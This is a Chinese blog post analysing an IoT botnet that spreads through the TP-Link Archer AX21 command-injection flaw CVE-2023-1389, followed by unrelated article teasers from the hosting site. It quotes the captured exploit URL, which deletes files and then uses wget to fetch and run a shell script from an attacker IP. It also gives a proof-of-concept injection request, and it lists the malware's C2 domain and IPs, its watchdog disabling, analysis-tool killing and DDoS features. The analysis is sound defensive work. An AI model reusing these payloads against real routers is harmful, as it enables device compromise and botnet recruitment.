IOT病毒分析

news2024/12/30 3:26:00

前言:

        最近审计报警日志,发现了一个IOT病毒,利用的是CVE-2023-1389漏洞扫描tplink,进行攻击,有点意思,拿出来分析下。

发现:

查看流量日志,发现了一个有问题的访问:

 访问地址80.94.92.60,对应的内容url解码后如下:

GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm -rf *; cd /tmp; wget http://94.156.79.129/tenda.sh; chmod 777 tenda.sh; ./tenda.sh)

可以看到其利用的是漏洞执行命令:

rm -rf *;cd /tmp;wget http://94.156.79.129/tenda.sh;chmod 777 tenda.sh;./tenda.sh

删除当前下载目录文件,进入tmp目录,下载http://94.156.79.129/tenda.sh文件,添加执行权限后执行内容,下面我们看下tenda.sh到底是什么,访问http://94.156.79.129/tenda.sh可以下载到tenda.sh文件,内容如下:

可以看到首先尝试进入目录后下载不同环境下可以运行的病毒文件,添加权限后并运行:

我们下载对应的病毒文件:

可以看到其利用tplink漏洞执行脚本,脚本负责下载病毒到设备执行,常见的木马都会统一连接中央服务器,然后接受服务器发送的执行进行DDOS,挖矿等攻击行为,所以只要分析其中一个即可,这里我们分析任意一个即可,这里选择x86_64

分析:

分析除了分析病毒还要分析下tplink的漏洞,这里我们先了解下利用了tplink的什么漏洞:

CVE-2023-1389

根据/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=查找发现是利用了tplink的命令注入漏洞,根据官方的解释如下:

1.1.4 Build 20230219 之前的 TP-Link Archer AX21 (AX1800) 固件版本存在漏洞

其利用poc如下:

POST /cgi-bin/luci;stok=/locale HTTP/1.1
Host: <Router IP>
Content-Type: application/x-www-form-urlencoded
Content-Length: <Payload Length>

token=&addAction=1&country=us;reboot; 

或者使用GET也可以触发漏洞:

GET  /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(reboot;) HTTP/1.1
Host: <Router IP>
Content-Type: application/x-www-form-urlencoded
Content-Length: <Payload Length>

分析下到底为何产生了该漏洞,首先去tplink下载对应的固件分析:

https://www.tp-link.com/us/support/download/archer-ax21/v1.20/

下载完成后解压为bin文件,下面就要使用 binwalk对bin文件进行提取

这个时候可能会报错提示缺少ubireader_extract_files文件,这里我们需要执行如下命令安装对应的库文件,另外binwalk是基于python2,所以不要使用pip3,安装ubi_reader和jefferson

//安装依赖
$ sudo apt-get install liblzo2-dev
$ sudo pip install python-lzo
//安装ubi_reader
$ sudo pip install ubi_reader
//安装jefferson
$ sudo pip install jefferson

安装完成后先用binwalk查看下文件:

 可以看到包含JFFS2和UBI两个文件,递归解压:

通过/cgi-bin/luci/,查看对应的luci代码,分析代码发现其后端是通过lua对数据进行处理:

分析发现其luci-apps.list中记录了对应的处理方法的地址,这里猜测为/usr/lib/lua/luci/controller/locale.lua,对应的处理locale参数:

但是打开发现是编译的lua文件,且发现其为5.1版本编译的32位的程序

这里我使用luadec对文件进行反编译:

https://github.com/viruscamp/luadec
git clone https://github.com/viruscamp/luadec
cd luadec
git submodule update --init lua-5.1

由于是32位的程序,但是我的kali是64位,默认源码编译后是64位程序,所以需要更改makefile使之编译32位程序 ,添加-m32到CFLAGS和LDFLAGS到lua-5.x/src/Makefile和luadec/Makefile

首先是luadec/lua-5.1下的Makefile

然后是src目录下的 Makefile

最后是luadec下的Makefile

完成后执行如下代码:

cd lua-5.1
make linux
cd ../luadec
make LUAVER=5.1

 即可编译成功,如果报错需要添加依赖:

apt-get install gcc-multilib g++-multilib
apt-get install lib32readline-dev

但是执行发现报错:

 分析发现是由于架构原因,查看bin目录下其他可执行文件可以看到其格式如下:

这就很蛋疼了,我编译出来的如下:

 

全白忙了,由于是arm架构的,我们使用的并不支持针对arm的反编译,因为arm架构下的格式和386下的格式不一定完全相同,但是反编译工具是针对386架构进行的,这样就会报错,这就需要换个方法,

然后我又尝试了下github上的miwifi

https://github.com/NyaMisty/unluac_miwifi

下载下来以后新建build文件夹,并执行如下命令:

javac -d build -sourcepath src src/unluac/*.java
jar -cfm build/unluac.jar src/META-INF/MANIFEST.MF -C build .

即可在build文件夹中生成unluac.jar文件,但是很遗憾还是不行:

找了一圈还发现luadec-tplink

https://github.com/superkhung/luadec-tplink/tree/master

但是试了一下还是不行,用里面的ChunkSpy51.lua检测了下,果然结构有问题

但是程序并没有加密,string以下可以看到很多信息,那就是目前的反编译工具并不支持反编译这个Tplink平台编译的lua代码,至少是该版本的无法反编译,后面有时间再来研究下这个。

病毒分析:

下面对病毒进行分析首先进行下静态分析,这里我用的是ghidra,因为这个电脑没装IDA,不过也差不多,安装方法网上都有,这里就不重复了,分析后发现一个很蛋疼的事情,就是这里面没有分析出对应的符号表,这样我就没有办法知道哪些是系统函数,哪些不是系统函数,尝试导入了几个符号表,但是依然没分析出来,如果读者有什么好的符号表可以分享出来,

还算好没有加壳,这样省去了脱壳,查看字符串看到一些有意思的信息:

是不是有点眼熟,标准的DDOS,SSDP反射攻击,可以放大流量。

另外就是一些watchdog,tcpdump之类的,应该是反调试搜索有没有安全软件或者安全分析工具运行。

看了下反汇编的内容,有点头疼,没有符号表很杂乱,先看看病毒运行的行为把,这样分析起来就比较有方向了,使用strace对运行进行监控:

strace -t -ff -k -e trace=file,network -v -o strace.log ./test tplink
或去掉-e -e是有针对性的过滤
strace -t -ff -k -v -o strace.log ./test tplink

运行成功后可以获取其运行轨迹,一开始运行将当前进程替换为一个新的程序,修改环境变量并重启病毒文件:

15:02:25 execve("./test", ["./test", "tplink"], ["COLORFGBG=15;0", "COLORTERM=truecolor", "COMMAND_NOT_FOUND_INSTALL_PROMPT"..., "DBUS_SESSION_BUS_ADDRESS=unix:pa"..., "DESKTOP_SESSION=lightdm-xsession", "DISPLAY=:0.0", "DOTNET_CLI_TELEMETRY_OPTOUT=1", "GDMSESSION=lightdm-xsession", "GTK_MODULES=gail:atk-bridge", "HOME=/root", "LANG=zh_CN.UTF-8", "LANGUAGE=zh_CN:zh", "LOGNAME=root", "PANEL_GDK_CORE_DEVICE_EVENTS=0", "PATH=/usr/local/sbin:/usr/local/"..., "POWERSHELL_TELEMETRY_OPTOUT=1", "POWERSHELL_UPDATECHECK=Off", "PWD=/home/test", "QT_ACCESSIBILITY=1", "QT_AUTO_SCREEN_SCALE_FACTOR=0", "QT_QPA_PLATFORMTHEME=qt5ct", "SESSION_MANAGER=local/kali:@/tmp"..., "SHELL=/usr/bin/zsh", "SSH_AGENT_PID=1066", "SSH_AUTH_SOCK=/tmp/ssh-XXXXXXOA8"..., "TERM=xterm-256color", "USER=root", "WINDOWID=0", "XAUTHORITY=/root/.Xauthority", "XDG_CONFIG_DIRS=/etc/xdg", "XDG_CURRENT_DESKTOP=XFCE", "XDG_DATA_DIRS=/usr/share/xfce4:/"..., "XDG_GREETER_DATA_DIR=/var/lib/li"..., "XDG_MENU_PREFIX=xfce-", "XDG_RUNTIME_DIR=/run/user/0", "XDG_SEAT=seat0", "XDG_SEAT_PATH=/org/freedesktop/D"..., "XDG_SESSION_CLASS=user", "XDG_SESSION_DESKTOP=lightdm-xses"..., "XDG_SESSION_ID=2", "XDG_SESSION_PATH=/org/freedeskto"..., "XDG_SESSION_TYPE=x11", "XDG_VTNR=7", "_JAVA_OPTIONS=-Dawt.useSystemAAF"..., "SHLVL=1", "OLDPWD=/root", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "LESS_TERMCAP_mb=\33[1;31m", "LESS_TERMCAP_md=\33[1;36m", "LESS_TERMCAP_me=\33[0m", "LESS_TERMCAP_so=\33[01;33m", "LESS_TERMCAP_se=\33[0m", "LESS_TERMCAP_us=\33[1;32m", "LESS_TERMCAP_ue=\33[0m", "_=/usr/bin/strace"]) = 0

然后是尝试打开/dev/watchdog,可以理解为在判断是否有watchdog,然后进行端口监听

 这里看下对应的0x8d84加上基址400000为0x00408ba9,可以看到SYSCALL ,return 2是系统函数open,可以去网上搜对应的解析表,有兴趣的可以写个python脚本自动解析一下,我这懒得写了,感兴趣的可以写写,可以通过如下网址查询对应关系

https://hackeradam.com/x86-64-linux-syscalls/

这里我们和IDA一样可以将对应function重命名为open,方便分析:

对应的可以看到伪代码里对 watchdog的读取,失败会进入8ad0,也是个系统函数对应的syscall是0x10和0x3,对应的为ioctl和close函数,直接向内核发送0x80045704,这是为了向watchdog发送控制码0x80045704来禁用看门狗功能,至于为什么能禁止,感兴趣的可以研究下,

 然后正常的木马就要连接服务器了,这里也不例外,可以看到获取了tcpdown.su的ip地址

代码中可以看到其将tcpdown.su按照十六进制拆分后拼接获取,并且对应端口号为53B1(大小端存储)对应的十进制为21425另外还会连接7722端口,但是7722端口已经关闭,访问一直失败。

由于DNS解析不同,ip也会不同,这里多地ping看下地址有哪些:

 总结下来就是如下IP:

172.245.119.70
172.245.119.63
185.216.70.169
185.216.70.168
185.216.70.250
104.168.32.17
104.168.45.11
198.12.124.76

 往下看确实获取到了解析地址,这里是185.216.70.169

查看下流量:

另外复制自身并循环判断是否存在tcpdump,wireshark等可能涉及调试抓包的进程,如果发现就强行关闭:

对应的代码如下,循环遍历进行kill:

然后就是和服务器通信,根据行为和流量可以看到其心跳包数据为0000,刚开始会把被感染设备的名称发送到服务器端,然后等待:

扫描下服务器,发现21425尽然是telnet端口,有意思,后面爆破下看看。

爆破了一下发现全部卡死,没有返回数据,应该也没必要伪装成telnet端口,并没有什么意义,所以又尝试发送空数据会返回错误,其他数据均无返回结果,不清楚是否是基于telnet客户端修改的代码还是就是单纯的伪装为telnet服务。

本来向gdb动态调试下,但是进程不断在fork,附加进程调试有点麻烦,也懒得调试了,感兴趣的可以动态看下。

总结:

最后总结下病毒的运行,首先通过cve-2023-1389全网扫描存在漏洞的tplink设备,如果发现存在漏洞的设备,会下载全平台的病毒,总有一个能成功。

病毒成功运行后会不断复制自身创建进程,然后关闭watchdog和扫描进程关闭抓包工具运行,接着解析tcpdown.su,根据解析出来的ip,连接其21425和7722端口,如果连接成功则每隔30s发送一次心跳存活包,另外大概看了下可以通过SSDP发动反射攻击和执行命令,具体的接收指令是数字而非字符,感兴趣的可以研究。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1634027.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【架构】后端项目如何分层及分层领域模型简化

文章目录 一. 如何分层1. 阿里规范2. 具体案例分析 二. 分层领域模型的转换1. 阿里规范2. 模型种类简化分析 三. 小结 本文描述后端项目中如何进行分层&#xff0c;以及分层领域模型简化 一. 如何分层 1. 阿里规范 阿里的编码规范中约束分层逻辑如下: 开放接口层&#xff1a…

CSS实现各种优惠券效果

一、左半圆效果 <style style"text/css">.coupon {width: 240px;height: 100px;margin-top: 15px;background-color: #ff6347;-webkit-mask: radial-gradient(circle at left center, transparent 20px, red 20px); } </style><div class"coupon…

摩根大通推出创新工具 FlowMind,引领金融自动化新变革

近日&#xff0c;摩根大通人工智能研究部推出了一款极具创新性的工具——FlowMind&#xff0c;为金融行业带来了全新的工作模式和效率提升。 FlowMind 能够自动化金融工作流程&#xff0c;在信贷审批、风险评估、合规监测等重要任务中发挥着关键作用。它利用 GPT 自动生成工作…

张鸣独到政治观,规矩与自信新解

张鸣独解规矩与自信&#xff0c;社政新影响揭秘。张鸣独到政治观&#xff0c;规矩与自信新解在当今社会政治的大背景下&#xff0c;学者张鸣的每一次公开演讲无疑都是一次思想的盛宴。最近&#xff0c;他就当前的社会政治问题提出了自己独特的观点&#xff0c;特别是他对规矩和…

【网络原理】UDP协议 | UDP报文格式 | 校验和 | UDP的特点 | 应用层的自定义格式

文章目录 一、UDP协议1.UDP的传输流程发送方接收方 2.UDP协议报文格式&#xff1a;长度受限校验和如何校验&#xff1a;CRC算法&#xff1a;循环冗余算法md5算法&#xff1a; 2.UDP的特点 二、开发中常见的自定义格式1.xml&#xff08;古老&#xff09;2.json&#xff08;最流行…

头歌:Spark任务提交

第1关&#xff1a;spark-submit提交 任务描述 相关知识 spark-submit参数 计算圆周率 编程要求 测试说明 任务描述 本关任务&#xff1a;学会将程序提交到集群上执行。 相关知识 为了完成本关任务&#xff0c;你需要掌握&#xff1a;1.了解spark-submit的参数。2.学会提交Spar…

双目深度估计原理立体视觉

双目深度估计原理&立体视觉 0. 写在前面1. 双目估计的大致步骤2. 理想双目系统的深度估计公式推导3. 双目标定公式推导4. 极线校正理论推导 0. 写在前面 双目深度估计是通过两个相机的对同一个点的视差来得到给该点的深度。 标准系统的双目深度估计的公式推导需要满足:1)两…

按键的软件消抖

1.当出现物理情况比如单片机不小心摔了会发生灯亮的情况&#xff0c;所以我们得增加个延迟函数 2.这个错误是缺少头文件#include <intrins.h> 3. #include "reg52.h" #include <intrins.h>sbit key2 P2^0; sbit key1 P2^1; sbit ledone P3^7;voi…

稳扎稳打 部署丝滑 开源即时通讯(IM)项目OpenIM源码部署流程(linux windows mac)

背景 OpenIM包含多个关键组件&#xff0c;每个都是系统功能必不可少的一部分。具体来说&#xff0c;MongoDB 用于持久化存储&#xff1b;Redis 用作缓存&#xff1b;Kafka 用于消息队列&#xff1b;Zookeeper 用于服务发现&#xff1b;Minio 用于对象存储。这些组件的众多可能会…

用OpenCV先去除边框线,以提升OCR准确率

在OpenCV的魔力下&#xff0c;我们如魔法师般巧妙地抹去表格的边框线&#xff0c;让文字如诗如画地跃然纸上。 首先&#xff0c;我们挥动魔杖&#xff0c;将五彩斑斓的图像转化为单一的灰度世界&#xff0c;如同将一幅绚丽的油画化为水墨画&#xff0c;通过cv2.cvtColor()函数的…

【多级缓存】多级缓存OpenResty,Canal,nginx本地缓存

多级缓存 安装OpenRestyOpenResty入门OpenResty获取请求参数OpenResty向tomcat服务器发送请求 在nginx与tomcat端之间添加redis缓存Redis本地缓存缓存同步缓存同步策略基于Canal的异步通知安装Canal Canal客户端 安装OpenResty OpenResty是一个基于 Nginx的高性能 Web 平台&am…

[iOS]使用CocoaPods发布私有库

1.创建私有 Spec 仓库 首先&#xff0c;需要一个私有的 Git 仓库来存放你的 Podspec 文件&#xff0c;这个仓库用于索引你所有的私有 Pods。 在 GitHub 或其他 Git 服务上创建一个新的私有仓库&#xff0c;例如&#xff0c;名为 PrivatePodSpecs。克隆这个仓库到本地&#xf…

使用STM32CubeMX对STM32F4进行串口配置

目录 1. 配置1.1 Pin脚1.2 RCC开启外部晶振1.3 时钟1.4 串口配置 2. 代码2.1 默认生成代码2.1 开启串口中断函数2.3 接收中断2.4 接收回调函数2.5 增加Printf 的使用 1. 配置 1.1 Pin脚 1.2 RCC开启外部晶振 1.3 时钟 外部使用8MHz晶振 开启内部16MHz晶振 使用锁相环 开启最高…

机器学习:深入解析SVM的核心概念(问题与解答篇)【四、软间隔与正则化】

软间隔与正则化 问题一&#xff1a;优化目标函数是如何得到的&#xff1f;得到的过程是怎样的&#xff1f;问题二&#xff1a;拉格朗日乘子法计算详细过程问题三&#xff1a;KKT条件求解过程问题四&#xff1a;结构风险最小化&#xff08;SRM&#xff09;的原理 在前面的讨论中…

针孔相机模型原理坐标系辨析内参标定流程内参变换

针孔相机的内参标定 针孔相机原理真空相机模型图片的伸缩和裁剪变换 内参标定———非线性优化张正定标定详细原理(含公式推导)通过多张棋盘格照片完成相机的内参标定流程(C代码)其他工具箱 相机分为短焦镜头和长焦镜头&#xff0c;短焦镜头看到的视野更广阔&#xff0c;同样距…

全新突破:「Paraverse平行云」实现3D/XR企业级应用全面接入Apple Vision Pro

在前不久举行的GTC开发者大会上&#xff0c;英伟达引领行业风向&#xff0c;宣布其Omniverse平台能够助力企业将3D/XR应用流畅传输至Apple Vision Pro混合现实头显。在英伟达与苹果这两大科技巨头的合作下,此举标志着3D/XR技术迈向新纪元的关键一步。「Paraverse平行云」实时云…

JavaScript中的扩展操作符作用是什么,有什么含义?

在 JavaScript 中&#xff0c;扩展操作符允许一个表达式在某些地方展开成多个元素。这个特性在 ES2015 (也叫做 ES6) 中被引入到 JavaScript 语言中&#xff0c;并广泛用于数组和对象。在您的代码示例中&#xff0c;它被用于对象。 对象中的扩展操作符 在对象字面量中使用扩展…

【知识学习/复习】损失函数篇,包含理解应用与分类:回归、分类、排序、生成等任务

损失函数总结 一、损失函数理解二、不同任务的损失函数的应用1.图像分类2.目标检测3.语义分割4.自然语言处理&#xff08;NLP&#xff09;5.图神经网络&#xff08;GNN&#xff09;6.生成式网络 三、损失函数1. 回归任务损失函数常见损失函数IoU系列损失函数1. IoU损失函数&…

pyQt5 和 Qt Designer 实现登录注册案例

Qt Designer 设计页面: 通过 PyQt5 手写 1. 先引入用到的库 from PyQt5.QtWidgets import * import sys 2. 创建应用,窗口, 设置窗口 # 创建应用 app QApplication(sys.argv) # 创建窗口 w QWidget()# 设置窗口标题 w.setWindowTitle("注册登录")# 展示 w.sho…

ssm091校园自助洗衣系统的分析与设计+jsp

校园自助洗衣系统的设计与实现 摘 要 互联网发展至今&#xff0c;无论是其理论还是技术都已经成熟&#xff0c;而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播&#xff0c;搭配信息管理工具可以很好地为人们提供服务。针对校园洗衣信息管理混乱&#xff0c;出…